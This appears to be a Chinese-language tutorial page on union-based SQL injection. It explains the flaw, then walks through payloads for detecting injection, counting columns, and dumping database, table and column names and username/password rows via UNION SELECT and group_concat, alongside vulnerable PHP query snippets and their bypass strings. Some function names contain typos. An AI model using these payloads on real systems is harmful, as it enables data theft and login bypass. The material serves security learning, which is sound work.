• 注册
当前位置:1313e > 默认分类 >正文

1.SQL联合注入

安全的本质就是开发,又要懂安全又要懂开发,学安全就是开发的一些漏洞,两者相辅相成
一、SQL注入
原理:由于WEB应用程序对用户输入的数据合法性判断不严格导致。
攻击者利用现有应用程序,将恶意的SQL命令注入到程序后台并在数据库引擎执行的能力。
攻击者把SQL命令语句作为输入被服务器SQL解释器正确解析执行,数据库把查询到的结果返回给服务器,然后呈现给攻击者,攻击者由此获得数据库内的数据信息。
1.恶意请求
攻击者在正常查询请求后附加SQL语句请求至服务器(test.php?id=1 and 1=1),WEB服务器解析并传给数据库处理,数据库服务器并不区分正常查询和附加查询,数据库服务器执行查询结果返回给WEB服务器,WEB服务器解析并将结果显示给用户,攻击者成功获得额外的查询结果。
危害:1.获取敏感数据:获取网站管理员账号、密码等;
2.绕过登录验证:使用万能密码登录网站后台等;
3.执行系统命令:远程执行命令。
二、SQL注入演示
1.判断SQL注入:单引号报错,双引号不报错
2.判断注入类型:
数字型:

1 and 1=1
1 and 1=2

字符型

1' and '1'='1
1' and 1=1 #
1' and 1=2 #

3.获取字段数:

1' order by 3--+         正常
1' order by 4--+         报错

4.获取显示位:
union select:联合查询,连接前后两条语句,合并查询的作用
5.获取数据库信息:

version()、user()、@@daradir、databases()

7.获取所有数据库

-1' union select 1,group_concat(schema_name),
3 from information_schema.schemata --+

concat用法:
1.功能:将多个字符串连接成一个字符串
2.语法:concat(str1,str2,....)
group_concat用法:
1.功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
2.语法:group_concat([distinct])要连接的字段[order by 排序字段 asc/desc][separator’分隔符’]
8.获取数据库表

-1' union select 1,group_concat(table_name),
3 from information_schema.tables wheretable_schema=database() --+

9.获取表中所有字段

-1' union select 1,group_concat(column_name),
3 from information_schema.columns where 
table_name='user' and table_schema=databases()--+

10.获取数据

-1' union select 1,username,password from users 
limit 0,1--+

实战指导书:
GET - 基于错误 - 单引号 - 字符型:
关键代码:$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
构造语句:?id=1' union select * from users --+

GET - 基于错误 - 数字型:
关键代码:$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
构造语句:?id=1 union select * from users --+

GET - 基于错误 - 单引号变形 - 字符型:
关键代码:$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
构造语句:1') union select * from users --+

GET - 基于错误 - 双引号 - 字符型:
关键代码:$id ='"' .$id. '"';

$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
构造语句:") union select * from users --+

总结:在于闭合sql语句

本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 162202241@qq.com 举报,一经查实,本站将立刻删除。

最新评论

欢迎您发表评论:

请登录之后再进行评论

登录